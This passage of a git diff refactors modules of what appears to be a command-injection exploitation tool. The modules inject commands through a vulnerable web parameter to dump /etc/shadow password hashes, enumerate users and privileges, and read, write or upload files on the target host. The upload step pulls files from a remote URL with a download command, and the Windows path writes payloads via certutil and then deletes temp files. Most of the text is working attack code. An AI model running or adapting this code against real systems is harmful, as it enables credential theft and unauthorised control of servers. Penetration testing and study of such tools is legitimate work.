ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = eb_injector.injection_results(response, TAG, cmd) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) - + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -570,11 +299,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 67090acfa1..82c285f3f4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -18,6 +18,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -27,191 +28,80 @@ The dynamic code evaluation (aka eval-based) technique. """ -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = "(" + settings.FILE_READ + file_to_read + ")" - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname + cmd = checks.win_decode_b64_enc(fname, tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname + cmd = checks.delete_tmp(tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - + #cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + cmd = checks.write_content(content, dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - # Check if defined cookie injection. + cmd = checks.check_file(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) - + checks.file_write_status(shell, dest_to_write) + """ Upload a file on the target host. """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" +""" +Read a file from the target host. +""" +def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_read: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 312bb20084..dc54fb7b28 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -31,11 +31,12 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -46,29 +47,13 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration """ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -81,23 +66,13 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Hostname: " + str(shell) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -141,23 +116,13 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER @@ -170,24 +135,14 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: @@ -201,30 +156,20 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -235,236 +180,24 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += 